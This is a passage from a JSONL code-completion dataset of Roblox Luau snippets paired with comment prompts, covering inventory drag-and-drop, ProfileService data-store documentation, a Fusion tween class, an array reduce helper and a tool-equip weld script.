true\n\t\tend\n\tend)\t\t\n\tgui.InputEnded:Connect(function(input)\n\t\tif input.UserInputType == Enum.UserInputType.MouseButton1 and Dragging == true and ItemDragged == tonumber(gui.Name) then\n\t\t\tDragging = false\n\t\t\tgui.Visible = true\n\t\t\tgui:FindFirstChild(\"Selected\").Visible = false\n\t\t\tgui.Transparency = unequippedTrnasparency\n\t\t\tMouseGui.Visible = false\n\n\t\t\tif PasteItem ~= nil then\n\n\t\t\t\tif PasteItem ~= inventory then\n\t\t\t\t\tlocal PasteItemIndex = tonumber(PasteItem.Name)\n\t\t\t\t\ttable.insert(OwnedTools,PasteItemIndex,OwnedTools[ItemDragged])\n\t\t\t\t\ttable.remove(OwnedTools,ItemDragged+1)\n\t\t\t\t\ttable.insert(OwnedTools,ItemDragged+1,OwnedTools[PasteItemIndex+1])\n\t\t\t\t\ttable.remove(OwnedTools,PasteItemIndex+1)\n\t\t\t\t\tgui:Destroy()\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tItemDragged = nil\n\t\tend\n\tend)\nend\n\ninventory.MouseEnter:Connect(function()\n\tPasteItem = inventory\nend)\n\ninventory.MouseLeave:Connect(function()\n\tPasteItem = nil\nend)\n\nfor i,gui in pairs(frame:GetChildren()) do\n\tif gui:IsA(\"ImageButton\")then\n\n\t\tgui.MouseEnter:Connect(function()\n\t\t\tPasteItem = gui\n\t\tend)\n\t\tgui.MouseLeave:Connect(function()\n\t\t\tif PasteItem == gui then\n\t\t\t\tPasteItem = nil\n\t\t\tend\n\t\tend)\n\t\t\n\t\tgui.MouseButton2Click:Connect(function()\n\t\t\tif gui.Item.Value ~= nil and inventory.Visible == true then\n\t\t\t\tlocal guiPlace = tonumber(gui.Name)\n\t\t\t\t\n\t\t\t\tif OwnedTools[10] == \"\"then\n\t\t\t\t\ttable.remove(OwnedTools,10)\n\t\t\t\t\ttable.insert(OwnedTools,10,OwnedTools[guiPlace])\n\t\t\t\t\t\n\t\t\t\t\tif CurrentSlotEquipped == tonumber(gui.Name) then\n\t\t\t\t\t\tSelectToolGui(true,true)\n\t\t\t\t\tend\n\n\n\t\t\t\telseif OwnedTools[10] ~= \"\" then\n\t\t\t\t\tlocal Once = false\n\t\t\t\t\tfor i,v in pairs(OwnedTools)do\n\t\t\t\t\t\tif i > 10 and Once == false then\n\t\t\t\t\t\t\tif v == \"\" then\n\t\t\t\t\t\t\t\tOnce = true\n\t\t\t\t\t\t\t\ttable.remove(OwnedTools,i)\n\t\t\t\t\t\t\t\ttable.insert(OwnedTools,i,OwnedTools[guiPlace])\t\n\t\t\t\t\t\t\t\tif CurrentSlotEquipped == tonumber(gui.Name) then\n\t\t\t\t\t\t\t\t\tSelectToolGui(true,true)\n\t\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\tif Once == false then\n\t\t\t\t\t\ttable.insert(OwnedTools,OwnedTools[guiPlace])\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\ttable.remove(OwnedTools,guiPlace)\n\t\t\t\ttable.insert(OwnedTools,guiPlace,\"\")\n\t\t\tend\n\t\tend)\n\n\t\tgui.InputBegan:Connect(function(input)\n\t\t\tif input.UserInputType == Enum.UserInputType.MouseButton1 and inventory.Visible == true and ItemDragged == nil and Dragging == false and gui.Item.Value ~= nil then\n\t\t\t\tDragging = true\n\t\t\t\tgui.Visible = false\n\n\t\t\t\tItemDragged = tonumber(gui.Name)\n\t\t\t\tMouseGui.Number.Text = gui.Number.Text\n\t\t\t\tMouseGui.ToolName.Text = gui.ToolName.Text\n\t\t\t\tMouseGui.Visible = true\n\t\t\tend\n\t\tend)\t\t\n\t\tgui.InputEnded:Connect(function(input)\n\t\t\tif input.UserInputType == Enum.UserInputType.MouseButton1 and Dragging == true and ItemDragged == tonumber(gui.Name) then\n\t\t\t\tDragging = false\n\t\t\t\tgui.Visible = true\n\t\t\t\tgui:FindFirstChild(\"Selected\").Visible = false\n\t\t\t\tgui.Transparency = unequippedTrnasparency\n\t\t\t\tMouseGui.Visible = false\n\n\t\t\t\tif PasteItem ~= nil then\n\t\t\t\t\tif PasteItem == inventory then\n\t\t\t\t\t\tif OwnedTools[10] == \"\"then\n\t\t\t\t\t\t\ttable.remove(OwnedTools,10)\n\t\t\t\t\t\t\ttable.insert(OwnedTools,10,OwnedTools[ItemDragged])\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif CurrentSlotEquipped == tonumber(gui.Name) then\n\t\t\t\t\t\t\t\tSelectToolGui(true,true)\n\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\telseif OwnedTools[10] ~= \"\" then\n\t\t\t\t\t\t\tlocal Once = false\n\t\t\t\t\t\t\tfor i,v in pairs(OwnedTools)do\n\t\t\t\t\t\t\t\tif i > 10 and Once == false then\n\t\t\t\t\t\t\t\t\tif v == \"\" then\n\t\t\t\t\t\t\t\t\t\tOnce = true\n\t\t\t\t\t\t\t\t\t\ttable.remove(OwnedTools,i)\n\t\t\t\t\t\t\t\t\t\ttable.insert(OwnedTools,i,OwnedTools[ItemDragged])\n\t\t\t\t\t\t\t\t\t\tif CurrentSlotEquipped == tonumber(gui.Name) then\n\t\t\t\t\t\t\t\t\t\t\tSelectToolGui(true,true)\n\t\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\t\tif Once == false then\n\t\t\t\t\t\t\t\ttable.insert(OwnedTools,OwnedTools[ItemDragged])\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\ttable.remove(OwnedTools,ItemDragged)\n\t\t\t\t\t\ttable.insert(OwnedTools,ItemDragged,\"\")\n\t\t\t\t\telse\n\t\t\t\t\t\tlocal PasteItemIndex = tonumber(PasteItem.Name)\n\n\t\t\t\t\t\tif ItemDragged < PasteItemIndex then\n\t\t\t\t\t\t\ttable.insert(OwnedTools,PasteItemIndex,OwnedTools[ItemDragged])\n\t\t\t\t\t\t\ttable.remove(OwnedTools,ItemDragged)\n\t\t\t\t\t\t\ttable.insert(OwnedTools,ItemDragged,OwnedTools[PasteItemIndex])\n\t\t\t\t\t\t\ttable.remove(OwnedTools,PasteItemIndex+1)\n\t\t\t\t\t\t\tif CurrentSlotEquipped == ItemDragged then\n\t\t\t\t\t\t\t\tSelectToolGui(PasteItemIndex,nil,true)\n\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\ttable.insert(OwnedTools,PasteItemIndex,OwnedTools[ItemDragged])\n\t\t\t\t\t\t\ttable.remove(OwnedTools,ItemDragged+1)\n\t\t\t\t\t\t\ttable.insert(OwnedTools,ItemDragged+1,OwnedTools[PasteItemIndex+1])\n\t\t\t\t\t\t\ttable.remove(OwnedTools,PasteItemIndex+1)\n\t\t\t\t\t\t\tif CurrentSlotEquipped == ItemDragged then\n\t\t\t\t\t\t\t\tSelectToolGui(PasteItemIndex,nil,true)\n\t\t\t\t\t\t\tend\n\n\n\t\t\t\t\t\tend\n\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tItemDragged = nil\n\t\t\tend\n\t\tend)\n\tend\nend\n\n\nlocal function DragGui()\t\t\n\tscript.Parent.Template.Position = UDim2.new(0,mouse.X - 10,0,mouse.Y + 30)\nend\n\nlocal function upDateInventory()\n\tfor i,v in pairs(OwnedTools)do\n\t\tif ScrollFrame:FindFirstChild(tostring(i)) == nil then\n\t\t\tif i>hotbarSpots and v ~= \"\" then\n\t\t\t\tCreateButtonForTool(i,v)\n\t\t\tend\n\t\telse\n\t\t\tif v ~= \"\"then\n\t\t\t\tScrollFrame:FindFirstChild(tostring(i)).ToolName.Text = v.Name\n\t\t\telse\n\t\t\t\tScrollFrame:FindFirstChild(tostring(i)).ToolName.Text = \"\"\n\t\t\tend\n\t\tend\n\tend\nend\ngame:GetService('RunService').Heartbeat:Connect(function()\n\tDragGui()\n\tToolParentChanged()\n\tupDateToolBar()\n\tupDateInventory()\nend)\n"} +{"prompt": "--- FUNCTIONS ---", "completion": "\n\nuis.InputBegan:Connect(function(Input, Typing)\n\tif not Typing and Input.UserInputType.Name == \"Keyboard\" then\n\t\tif Input.KeyCode.Name == \"Space\" then\n\n\t\t\tif player.Character:GetAttribute(\"State\") == \"Sitting\" then\n\t\t\t\tplayer.Character.PrimaryPart.Anchored = false\n\t\t\t\tplayer.Character:SetAttribute(\"State\", nil)\n\t\t\tend\n\t\t\t\n\t\tend\n\tend\nend)\n\n\n"} +{"prompt": "--[[\n\tINPUT: Object part\n\tOUTPUT: Player player, Object character\n--]]", "completion": "\nlocal Players = game:GetService'Players'\n\nreturn function(part)\n\tif not part then return nil end\n\t\n\tlocal player\n\tlocal current = part\n\twhile true do\n\t\tplayer = Players:GetPlayerFromCharacter(current)\n\t\tif not player then\n\t\t\tcurrent = current.Parent\n\t\t\tif not current or current == game then\n\t\t\t\tbreak\n\t\t\tend\n\t\telse\n\t\t\tbreak\n\t\tend\n\tend\n\t\n\treturn player, player and player.Character\nend\n"} +{"prompt": "----- MAGIC NUMBERS ABOUT THE TOOL -----\n-- How much damage a bullet does", "completion": "\nlocal Damage = 4"} +{"prompt": "--[[\n\t\t___ _______ _ \n\t / _ |____/ ___/ / ___ ____ ___ (_)__ \n\t / __ /___/ /__/ _ \\/ _ `(_-<(_- [ProfileStore]\n\t\t\tprofile_store_index [string] -- DataStore name\n\t\t\tOR\n\t\t\tprofile_store_index [table]: -- Allows the developer to define more GlobalDataStore variables\n\t\t\t\t{\n\t\t\t\t\tName = \"StoreName\", -- [string] -- DataStore name\n\t\t\t\t\t-- Optional arguments:\n\t\t\t\t\tScope = \"StoreScope\", -- [string] -- DataStore scope\n\t\t\t\t}\n\t\t\tprofile_template [table] -- Profiles will default to given table (hard-copy) when no data was saved previously\n\n\t\tProfileService.IsLive() --> [bool] -- (CAN YIELD!!!)\n\t\t\t-- Returns true if ProfileService is connected to live Roblox DataStores\n\t\t\t\t\n\tMembers [ProfileStore]:\n\t\n\t\tProfileStore.Mock [ProfileStore] -- Reflection of ProfileStore methods, but the methods will use a mock DataStore\n\t\t\n\tMethods [ProfileStore]:\n\t\n\t\tProfileStore:LoadProfileAsync(profile_key, not_released_handler) --> [Profile] or nil -- not_released_handler(place_id, game_job_id)\n\t\t\tprofile_key [string] -- DataStore key\n\t\t\tnot_released_handler nil or []: -- Defaults to \"ForceLoad\"\n\t\t\t\t[string] \"ForceLoad\" -- Force loads profile on first call\n\t\t\t\tOR\n\t\t\t\t[string] \"Steal\" -- Steals the profile ignoring it's session lock\n\t\t\t\tOR\n\t\t\t\t[function] (place_id, game_job_id) --> [string] \"Repeat\", \"Cancel\", \"ForceLoad\" or \"Steal\"\n\t\t\t\t\tplace_id [number] or nil\n\t\t\t\t\tgame_job_id [string] or nil\n\n\t\t\t\t-- not_released_handler [function] will be triggered in cases where the profile is not released by a session. This\n\t\t\t\t--\tfunction may yield for as long as desirable and must return one of three string values:\n\n\t\t\t\t\t\t[\"Repeat\"] - ProfileService will repeat the profile loading proccess and may trigger the release handler again\n\t\t\t\t\t\t[\"Cancel\"] - ProfileStore:LoadProfileAsync() will immediately return nil\n\t\t\t\t\t\t[\"ForceLoad\"] - ProfileService will repeat the profile loading call, but will return Profile object afterwards\n\t\t\t\t\t\t\tand release the profile for another session that has loaded the profile\n\t\t\t\t\t\t[\"Steal\"] - The profile will usually be loaded immediately, ignoring an existing remote session lock and applying\n\t\t\t\t\t\t\ta session lock for this session.\n\n\t\tProfileStore:GlobalUpdateProfileAsync(profile_key, update_handler) --> [GlobalUpdates] or nil\n\t\t\t-- Returns GlobalUpdates object if update was successful, otherwise returns nil\n\t\t\tprofile_key [string] -- DataStore key\n\t\t\tupdate_handler [function] (global_updates [GlobalUpdates])\n\t\t\t\n\t\tProfileStore:ViewProfileAsync(profile_key, version) --> [Profile] or nil\n\t\t\t-- Reads profile without requesting a session lock; Data will not be saved and profile doesn't need to be released\n\t\t\tprofile_key [string] -- DataStore key\n\t\t\tversion nil or [string] -- DataStore key version\n\n\t\tProfileStore:ProfileVersionQuery(profile_key, sort_direction, min_date, max_date) --> [ProfileVersionQuery]\n\t\t\tprofile_key [string]\n\t\t\tsort_direction nil or [Enum.SortDirection]\n\t\t\tmin_date nil or [DateTime]\n\t\t\tmax_date nil or [DateTime]\n\t\t\t\n\t\tProfileStore:WipeProfileAsync(profile_key) --> is_wipe_successful [bool]\n\t\t\t-- Completely wipes out profile data from the DataStore / mock DataStore with no way to recover it.\n\t\t\t\t\t\t\n\t\t* Parameter description for \"ProfileStore:GlobalUpdateProfileAsync()\":\n\t\t\n\t\t\tprofile_key [string] -- DataStore key\n\t\t\tupdate_handler [function] (GlobalUpdates) -- This function gains access to GlobalUpdates object methods\n\t\t\t\t(update_handler can't yield)\n\n\tMethods [ProfileVersionQuery]:\n\n\t\tProfileVersionQuery:NextAsync() --> [Profile] or nil -- (Yields)\n\t\t\t-- Returned profile has the same rules as profile returned by :ViewProfileAsync()\n\t\t\n\tMembers [Profile]:\n\t\n\t\tProfile.Data [table] -- Writable table that gets saved automatically and once the profile is released\n\t\tProfile.MetaData [table] (Read-only) -- Information about this profile\n\t\t\n\t\t\tProfile.MetaData.ProfileCreateTime [number] (Read-only) -- os.time() timestamp of profile creation\n\t\t\tProfile.MetaData.SessionLoadCount [number] (Read-only) -- Amount of times the profile was loaded\n\t\t\tProfile.MetaData.ActiveSession [table] (Read-only) {place_id, game_job_id} / nil -- Set to a session link if a\n\t\t\t\tgame session is currently having this profile loaded; nil if released\n\t\t\tProfile.MetaData.MetaTags [table] {[\"tag_name\"] = tag_value, ...} -- Saved and auto-saved just like Profile.Data\n\t\t\tProfile.MetaData.MetaTagsLatest [table] (Read-only) -- Latest version of MetaData.MetaTags that was definetly saved to DataStore\n\t\t\t\t(You can use Profile.MetaData.MetaTagsLatest for product purchase save confirmation, but create a system to clear old tags after\n\t\t\t\tthey pile up)\n\n\t\tProfile.MetaTagsUpdated [ScriptSignal] (meta_tags_latest) -- Fires after every auto-save, after\n\t\t\t--\tProfile.MetaData.MetaTagsLatest has been updated with the version that's guaranteed to be saved;\n\t\t\t-- .MetaTagsUpdated will fire regardless of whether .MetaTagsLatest changed after update;\n\t\t\t--\t.MetaTagsUpdated may fire after the Profile is released - changes to Profile.Data are not saved\n\t\t\t--\tafter release.\n\n\t\tProfile.RobloxMetaData [table] -- Writable table that gets saved automatically and once the profile is released\n\t\tProfile.UserIds [table] -- (Read-only) -- {user_id [number], ...} -- User ids associated with this profile\n\n\t\tProfile.KeyInfo [DataStoreKeyInfo]\n\t\tProfile.KeyInfoUpdated [ScriptSignal] (key_info [DataStoreKeyInfo])\n\t\t\n\t\tProfile.GlobalUpdates [GlobalUpdates]\n\t\t\n\tMethods [Profile]:\n\t\n\t\t-- SAFE METHODS - Will not error after profile expires:\n\t\tProfile:IsActive() --> [bool] -- Returns true while the profile is active and can be written to\n\t\t\t\n\t\tProfile:GetMetaTag(tag_name) --> value [any]\n\t\t\ttag_name [string]\n\t\t\n\t\tProfile:Reconcile() -- Fills in missing (nil) [string_key] = [value] pairs to the Profile.Data structure\n\t\t\n\t\tProfile:ListenToRelease(listener) --> [ScriptConnection] (place_id / nil, game_job_id / nil)\n\t\t\t-- WARNING: Profiles can be released externally if another session force-loads\n\t\t\t--\tthis profile - use :ListenToRelease() to handle player leaving cleanup.\n\t\t\t\n\t\tProfile:Release() -- Call after the session has finished working with this profile\n\t\t\te.g., after the player leaves (Profile object will become expired) (Does not yield)\n\n\t\tProfile:ListenToHopReady(listener) --> [ScriptConnection] () -- Passed listener will be executed after the releasing UpdateAsync call finishes;\n\t\t\t--\tWrap universe teleport requests with this method AFTER releasing the profile to improve session lock sharing between universe places;\n\t\t\t-- :ListenToHopReady() will usually call the listener in around a second, but may ocassionally take up to 7 seconds when a release happens\n\t\t\t--\tnext to an auto-update in regular usage scenarios.\n\n\t\tProfile:AddUserId(user_id) -- Associates user_id with profile (GDPR compliance)\n\t\t\tuser_id [number]\n\n\t\tProfile:RemoveUserId(user_id) -- Unassociates user_id with profile (safe function)\n\t\t\tuser_id [number]\n\n\t\tProfile:Identify() --> [string] -- Returns a string containing DataStore name, scope and key; Used for debug;\n\t\t\t-- Example return: \"[Store:\"GameData\";Scope:\"Live\";Key:\"Player_2312310\"]\"\n\t\t\n\t\tProfile:SetMetaTag(tag_name, value) -- Equivalent of Profile.MetaData.MetaTags[tag_name] = value\n\t\t\ttag_name [string]\n\t\t\tvalue [any]\n\t\t\n\t\tProfile:Save() -- Call to quickly progress global update state or to speed up save validation processes (Does not yield)\n\n\t\t-- VIEW-MODE ONLY:\n\n\t\tProfile:ClearGlobalUpdates() -- Clears all global updates data from a profile payload\n\n\t\tProfile:OverwriteAsync() -- (Yields) Saves the profile payload to the DataStore and removes the session lock\n\t\t\n\tMethods [GlobalUpdates]:\n\t\n\t-- ALWAYS PUBLIC:\n\t\tGlobalUpdates:GetActiveUpdates() --> [table] {{update_id, update_data [table]}, ...}\n\t\tGlobalUpdates:GetLockedUpdates() --> [table] {{update_id, update_data [table]}, ...}\n\t\t\n\t-- ONLY WHEN FROM \"Profile.GlobalUpdates\":\n\t\tGlobalUpdates:ListenToNewActiveUpdate(listener) --> [ScriptConnection] (update_id, update_data)\n\t\t\tupdate_data [table]\n\t\tGlobalUpdates:ListenToNewLockedUpdate(listener) --> [ScriptConnection] (update_id, update_data)\n\t\t\tupdate_data [table]\n\t\tGlobalUpdates:LockActiveUpdate(update_id) -- WARNING: will error after profile expires\n\t\tGlobalUpdates:ClearLockedUpdate(update_id) -- WARNING: will error after profile expires\n\t\t\n\t-- EXPOSED TO \"update_handler\" DURING ProfileStore:GlobalUpdateProfileAsync() CALL\n\t\tGlobalUpdates:AddActiveUpdate(update_data)\n\t\t\tupdate_data [table]\n\t\tGlobalUpdates:ChangeActiveUpdate(update_id, update_data)\n\t\t\tupdate_data [table]\n\t\tGlobalUpdates:ClearActiveUpdate(update_id)\n\t\t\n--]]", "completion": "\n\nlocal SETTINGS = {\n\n\tAutoSaveProfiles = 30, -- Seconds (This value may vary - ProfileService will split the auto save load evenly in the given time)\n\tRobloxWriteCooldown = 7, -- Seconds between successive DataStore calls for the same key\n\tForceLoadMaxSteps = 8, -- Steps taken before ForceLoad request steals the active session for a profile\n\tAssumeDeadSessionLock = 30 * 60, -- (seconds) If a profile hasn't been updated for 30 minutes, assume the session lock is dead\n\t\t-- As of writing, os.time() is not completely reliable, so we can only assume session locks are dead after a significant amount of time.\n\t\n\tIssueCountForCriticalState = 5, -- Issues to collect to announce critical state\n\tIssueLast = 120, -- Seconds\n\tCriticalStateLast = 120, -- Seconds\n\t\n\tMetaTagsUpdatedValues = { -- Technical stuff - do not alter\n\t\tProfileCreateTime = true,\n\t\tSessionLoadCount = true,\n\t\tActiveSession = true,\n\t\tForceLoadSession = true,\n\t\tLastUpdate = true,\n\t},\n\t\n}\n\nlocal Madwork -- Standalone Madwork reference for portable version of ProfileService\ndo\n\n\tlocal MadworkScriptSignal = {}\n\n\tlocal FreeRunnerThread = nil\n\t\n\tlocal function AcquireRunnerThreadAndCallEventHandler(fn, ...)\n\t\tlocal acquired_runner_thread = FreeRunnerThread\n\t\tFreeRunnerThread = nil\n\t\tfn(...)\n\t\tFreeRunnerThread = acquired_runner_thread\n\tend\n\t\n\tlocal function RunEventHandlerInFreeThread(...)\n\t\tAcquireRunnerThreadAndCallEventHandler(...)\n\t\twhile true do\n\t\t\tAcquireRunnerThreadAndCallEventHandler(coroutine.yield())\n\t\tend\n\tend\n\t\n\t-- ScriptConnection object:\n\n\tlocal ScriptConnection = {\n\t\t--[[\n\t\t\t_listener = listener,\n\t\t\t_script_signal = script_signal,\n\t\t\t_disconnect_listener = disconnect_listener,\n\t\t\t_disconnect_param = disconnect_param,\n\t\t\t\n\t\t\t_next = next_script_connection,\n\t\t\t_is_connected = is_connected,\n\t\t--]]\n\t}\n\tScriptConnection.__index = ScriptConnection\n\n\tfunction ScriptConnection:Disconnect()\n\n\t\tif self._is_connected == false then\n\t\t\treturn\n\t\tend\n\n\t\tself._is_connected = false\n\t\tself._script_signal._listener_count -= 1\n\n\t\tif self._script_signal._head == self then\n\t\t\tself._script_signal._head = self._next\n\t\telse\n\t\t\tlocal prev = self._script_signal._head\n\t\t\twhile prev ~= nil and prev._next ~= self do\n\t\t\t\tprev = prev._next\n\t\t\tend\n\t\t\tif prev ~= nil then\n\t\t\t\tprev._next = self._next\n\t\t\tend\n\t\tend\n\n\t\tif self._disconnect_listener ~= nil then\n\t\t\tif not FreeRunnerThread then\n\t\t\t\tFreeRunnerThread = coroutine.create(RunEventHandlerInFreeThread)\n\t\t\tend\n\t\t\ttask.spawn(FreeRunnerThread, self._disconnect_listener, self._disconnect_param)\n\t\t\tself._disconnect_listener = nil\n\t\tend\n\n\tend\n\t\n\t-- ScriptSignal object:\n\n\tlocal ScriptSignal = {\n\t\t--[[\n\t\t\t_head = nil,\n\t\t\t_listener_count = 0,\n\t\t--]]\n\t}\n\tScriptSignal.__index = ScriptSignal\n\n\tfunction ScriptSignal:Connect(listener, disconnect_listener, disconnect_param) --> [ScriptConnection]\n\n\t\tlocal script_connection = {\n\t\t\t_listener = listener,\n\t\t\t_script_signal = self,\n\t\t\t_disconnect_listener = disconnect_listener,\n\t\t\t_disconnect_param = disconnect_param,\n\n\t\t\t_next = self._head,\n\t\t\t_is_connected = true,\n\t\t}\n\t\tsetmetatable(script_connection, ScriptConnection)\n\n\t\tself._head = script_connection\n\t\tself._listener_count += 1\n\n\t\treturn script_connection\n\n\tend\n\n\tfunction ScriptSignal:GetListenerCount() --> [number]\n\t\treturn self._listener_count\n\tend\n\n\tfunction ScriptSignal:Fire(...)\n\t\tlocal item = self._head\n\t\twhile item ~= nil do\n\t\t\tif item._is_connected == true then\n\t\t\t\tif not FreeRunnerThread then\n\t\t\t\t\tFreeRunnerThread = coroutine.create(RunEventHandlerInFreeThread)\n\t\t\t\tend\n\t\t\t\ttask.spawn(FreeRunnerThread, item._listener, ...)\n\t\t\tend\n\t\t\titem = item._next\n\t\tend\n\tend\n\n\tfunction ScriptSignal:FireUntil(continue_callback, ...)\n\t\tlocal item = self._head\n\t\twhile item ~= nil do\n\t\t\tif item._is_connected == true then\n\t\t\t\titem._listener(...)\n\t\t\t\tif continue_callback() ~= true then\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\tend\n\t\t\titem = item._next\n\t\tend\n\tend\n\n\tfunction MadworkScriptSignal.NewScriptSignal() --> [ScriptSignal]\n\t\treturn {\n\t\t\t_head = nil,\n\t\t\t_listener_count = 0,\n\t\t\tConnect = ScriptSignal.Connect,\n\t\t\tGetListenerCount = ScriptSignal.GetListenerCount,\n\t\t\tFire = ScriptSignal.Fire,\n\t\t\tFireUntil = ScriptSignal.FireUntil,\n\t\t}\n\tend\n\n\t-- Madwork framework namespace:\n\t\n\tMadwork = {\n\t\tNewScriptSignal = MadworkScriptSignal.NewScriptSignal,\n\t\tConnectToOnClose = function(task, run_in_studio_mode)\n\t\t\tif game:GetService(\"RunService\"):IsStudio() == false or run_in_studio_mode == true then\n\t\t\t\tgame:BindToClose(task)\n\t\t\tend\n\t\tend,\n\t}\n\nend\n"} +{"prompt": "--And it's done. If there's anything wrong with this button, PM me.", "completion": "\n"} +{"prompt": "--[[\n\tCalled when the goal state changes value; this will initiate a new tween.\n\tReturns false as the current value doesn't change right away.\n]]", "completion": "\nfunction class:update(): boolean\n\tlocal goalValue = self._goalState:get(false)\n\n\t-- if the goal hasn't changed, then this is a TweenInfo change.\n\t-- in that case, if we're not currently animating, we can skip everything\n\tif goalValue == self._nextValue and not self._currentlyAnimating then\n\t\treturn false\n\tend\n\n\tlocal tweenInfo = self._tweenInfo\n\tif self._tweenInfoIsState then\n\t\ttweenInfo = tweenInfo:get()\n\tend\n\n\t-- if we receive a bad TweenInfo, then error and stop the update\n\tif typeof(tweenInfo) ~= \"TweenInfo\" then\n\t\tlogErrorNonFatal(\"mistypedTweenInfo\", nil, typeof(tweenInfo))\n\t\treturn false\n\tend\n\n\tself._prevValue = self._currentValue\n\tself._nextValue = goalValue\n\n\tself._currentTweenStartTime = os.clock()\n\tself._currentTweenInfo = tweenInfo\n\n\tlocal tweenDuration = tweenInfo.DelayTime + tweenInfo.Time\n\tif tweenInfo.Reverses then\n\t\ttweenDuration += tweenInfo.Time\n\tend\n\ttweenDuration *= tweenInfo.RepeatCount + 1\n\tself._currentTweenDuration = tweenDuration\n\n\t-- start animating this tween\n\tTweenScheduler.add(self)\n\n\treturn false\nend\n\nlocal function Tween(\n\tgoalState: PubTypes.StateObject,\n\ttweenInfo: PubTypes.CanBeState?\n): Types.Tween\n\tlocal currentValue = goalState:get(false)\n\n\t-- apply defaults for tween info\n\tif tweenInfo == nil then\n\t\ttweenInfo = TweenInfo.new()\n\tend\n\n\tlocal dependencySet = {[goalState] = true}\n\tlocal tweenInfoIsState = xtypeof(tweenInfo) == \"State\"\n\n\tif tweenInfoIsState then\n\t\tdependencySet[tweenInfo] = true\n\tend\n\n\tlocal startingTweenInfo = tweenInfo\n\tif tweenInfoIsState then\n\t\tstartingTweenInfo = startingTweenInfo:get()\n\tend\n\n\t-- If we start with a bad TweenInfo, then we don't want to construct a Tween\n\tif typeof(startingTweenInfo) ~= \"TweenInfo\" then\n\t\tlogError(\"mistypedTweenInfo\", nil, typeof(startingTweenInfo))\n\tend\n\n\tlocal self = setmetatable({\n\t\ttype = \"State\",\n\t\tkind = \"Tween\",\n\t\tdependencySet = dependencySet,\n\t\t-- if we held strong references to the dependents, then they wouldn't be\n\t\t-- able to get garbage collected when they fall out of scope\n\t\tdependentSet = setmetatable({}, WEAK_KEYS_METATABLE),\n\t\t_goalState = goalState,\n\t\t_tweenInfo = tweenInfo,\n\t\t_tweenInfoIsState = tweenInfoIsState,\n\n\t\t_prevValue = currentValue,\n\t\t_nextValue = currentValue,\n\t\t_currentValue = currentValue,\n\n\t\t-- store current tween into separately from 'real' tween into, so it\n\t\t-- isn't affected by :setTweenInfo() until next change\n\t\t_currentTweenInfo = tweenInfo,\n\t\t_currentTweenDuration = 0,\n\t\t_currentTweenStartTime = 0,\n\t\t_currentlyAnimating = false\n\t}, CLASS_METATABLE)\n\n\tinitDependency(self)\n\t-- add this object to the goal state's dependent set\n\tgoalState.dependentSet[self] = true\n\n\treturn self\nend\n\nreturn Tween\n"} +{"prompt": "--!strict\n--[=[\n\t@function reduce\n\t@within Array\n\n\t@param array {T} -- The array to reduce.\n\t@param reducer (accumulator: U, value: T, index: number, array: {T}) -> U -- The reducer to use.\n\t@param initialReduction? U = {T}[1] -- The initial accumulator value.\n\t@return U -- The final accumulator value.\n\n\tReduces the array using the given reducer and initial accumulator value.\n\tIf no `initialReduction` value is given, the first item in the array is used.\n\n\t```lua\n\tlocal array = { 1, 2, 3 }\n\n\tlocal value = Reduce(array, function(accumulator, item, index)\n\t\treturn accumulator - item\n\tend) -- -4\n\n\tlocal value = Reduce(array, function(accumulator, item, index)\n\t\ttable.insert(accumulator, item)\n\t\treturn accumulator\n\tend, {}) -- { 1, 2, 3 }\n\t```\n]=]", "completion": "\nlocal function reduce(\n\tarray: { T },\n\treducer: (accumulator: U, value: T, index: number, array: { T }) -> U,\n\tinitReduction: U?\n): U\n\tlocal result = initReduction\n\tlocal start = 1\n\n\tif result == nil then\n\t\tresult = array[1]\n\t\tstart = 2\n\tend\n\n\tfor index = start, #array do\n\t\tresult = reducer(result, array[index], index, array)\n\tend\n\n\treturn result\nend\n\nreturn reduce\n"} +{"prompt": "--\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"", "completion": "\n\twhile true do\n\t\twait()\n\tend\nend\n\nfunction onUnequippedLocal(mouse)\n\nend\n\nfunction Equip(mouse)\nwait(0.01)\ntool.GripPos=Vector3.new(0,0,0)\narms = {tool.Parent:FindFirstChild(\"Left Arm\"), tool.Parent:FindFirstChild(\"Right Arm\")}\ntorso = tool.Parent:FindFirstChild(\"Torso\") \nif arms ~= nil and torso ~= nil then\nlocal sh = {torso:FindFirstChild(\"Left Shoulder\"), torso:FindFirstChild(\"Right Shoulder\")}\nif sh ~= nil then\nlocal yes = true\nif yes then\nyes = false\nsh[1].Part1 = nil\nsh[2].Part1 = nil\nlocal weld1 = Instance.new(\"Weld\") -- left arm\nweld55 = weld1\nweld1.Part0 = torso\nweld1.Parent = torso\nweld1.Part1 = arms[1]\nweld1.C1 = f(-1.12,0.3,-0.84,75,-4,15)\nwelds[1] = weld1\nlocal weld2 = Instance.new(\"Weld\") -- right arm\nweld33 = weld2\nweld2.Part0 = torso\nweld2.Parent = torso\nweld2.Part1 = arms[2]\nweld2.C1 = f(0.1,0.17,-1.14,72,2,-52)\nwelds[2] = weld2\nlocal weld3 = Instance.new(\"Weld\") -- right arm\nweld77 = weld3\nweld3.Part0 = torso\nweld3.Parent = torso\nweld3.Part1 = tool.Handle\nweld3.C1 = f(-0.76,1.93,-1.73,5,-90,0)\nwelds[3] = weld2\nend\nelse\nend\nelse\nend\nend\n\nfunction Unequip(mouse)\nif arms ~= nil and torso ~= nil then\nlocal sh = {torso:FindFirstChild(\"Left Shoulder\"), torso:FindFirstChild(\"Right Shoulder\")}\nif sh ~= nil then\nlocal yes = true\nif yes then\nyes = false\nsh[1].Part1 = arms[1]\nsh[2].Part1 = arms[2]\nwelds[1].Parent = nil\nwelds[2].Parent = 